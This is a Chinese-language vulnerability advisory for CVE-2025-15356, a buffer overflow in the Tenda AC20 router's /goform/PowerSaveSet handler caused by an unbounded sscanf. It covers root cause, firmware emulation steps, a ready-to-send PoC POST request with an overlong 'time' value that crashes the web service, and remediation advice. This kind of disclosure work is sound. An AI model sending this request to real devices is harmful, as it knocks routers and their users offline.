| 漏洞描述 | |||
|---|---|---|---|
| 漏洞名称 | Tenda AC20 Buffer Overflow | ||
| 发现时间/披露时间 | 2025-12-30 | 发现来源 | https://nvd.nist.gov/vuln/detail/CVE-2025-15356 |
| CVE编号 | CVE-2025-15356 | CVSS 4.0评分 | 7.4 |
| CNVD编号 | CNNVD编号 | ||
| 漏洞类型 | 漏洞危害等级 | 高危 | |
| POC情况 | 有 | EXP情况 | 有 |
| 在野利用 | 无 | 研究情况 | 有 |
| 危害描述 | 在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。 攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求, 可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。 |
||
| 相关漏洞 | CVE-2025-14654 CVE-2025-8939 | ||
| 时间线 | 报送时间: 收录时间:2025-12-30 更新时间:2025-12-31 |
基本信息
- 厂商: 深圳市吉祥腾达科技有限公司(Shenzhen Tenda Technology Co.,Ltd.)
- 厂商官网: https://www.tenda.com.cn/
- 受影响产品: Tenda AC20
- 受影响固件版本: <= V16.03.08.12
- 固件下载地址: AC20_服务支持_腾达Tenda官方网站
漏洞概述
在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求,可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。
该问题与对用户可控字符串的解析有关:在相关处理逻辑中使用了类似如下的 sscanf 调用对输入进行拆分赋值,但未对目标缓冲区写入长度进行边界限制。
sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10);
影响范围与危害
- 拒绝服务(DoS):可导致 Web 管理服务或相关进程崩溃,表现为页面不可访问、服务异常或设备重启等。
漏洞成因分析
接口 /goform/PowerSaveSet 在处理参数 time 等字段时,会在若干参数非空的条件下进入对应分支逻辑,并最终调用 sscanf 使用 %[^:]、%[^-]、%s 等格式从输入字符串 s 解析多个片段到目标缓冲区。
上述格式在未指定最大宽度的情况下,会一直读取直到遇到分隔符(或字符串结束),并将结果写入目标缓冲区;若目标缓冲区长度不足且缺少额外边界检查,则会产生越界写 ,从而触发缓冲区溢出。
当攻击者构造超长 time 参数时,sscanf 解析写入过程会覆盖相邻内存,导致程序异常终止。

触发条件
- 目标设备运行受影响固件版本(
<= V16.03.08.12)。 - 可向设备 HTTP 管理接口发送请求(是否需要认证取决于设备配置与接口访问控制策略)。
- 请求参数中
powerSavingEn、time、powerSaveDelay、ledCloseType等字段满足进入处理分支的非空条件。 - 其中
time被构造为超长值以触发sscanf越界写。
复现环境
- 设备型号: Tenda AC20
- 固件版本: V16.03.08.12
- 测试端: 可使用浏览器/脚本工具(curl、Burp Suite 等)发送构造的 HTTP POST 请求
复现步骤
-
使用
binwalk(或在线工具 IoT固件分析工具)对固件进行解包:bashbinwalk -Me US_AC20V1.0re_V16.03.08.12_cn_TDC01.bin -
在 Ubuntu 虚拟机中使用
qemu-mipsel-static进行固件仿真,启动httpd:bashsudo chroot . ./qemu-mipsel-static ./bin/httpd -
启动后进程一直卡在 "Welcome to"。结合对
httpd的分析,需在宿主环境配置虚拟网桥br0:
bashsudo brctl addbr br0 sudo ifconfig br0 192.168.0.1/24 -
重新启动仿真环境后访问
http://192.168.0.1,页面提示Page not found:

-
进一步检查 Web 目录结构:
webroot为符号链接,指向/var/webroot,但该目录为空:

-
将
webroot_ro中的静态资源复制到/var/webroot,刷新页面后可正常加载:bashcp -rf webroot_ro/* var/webroot/
-
向接口
/goform/PowerSaveSet发送 PoC 中的 POST 请求(重点为构造超长time参数):

-
观察现象:Web 服务不可用、相关进程崩溃(可表现为管理页面异常/无法访问等):

PoC
具体exp见CVE-2025-15356
JSON
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 485
powerSavingEn=1&time=uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&powerSaveDelay=1&ledCloseType=1

修复建议
- 对所有来自 HTTP 参数的字符串解析与拷贝操作加入严格的长度校验。
- 避免使用不带宽度限制的
sscanf解析到固定长度缓冲区。- 例如为每个
%s/%[^:]/%[^-]指定最大宽度(与目标缓冲区大小一致并预留\0)。
- 例如为每个
- 在解析前对输入整体长度进行上限限制,并在异常情况下安全返回错误。
- 开启并验证编译与运行时防护(如栈保护、ASLR、FORTIFY 等),并进行模糊测试覆盖相关接口。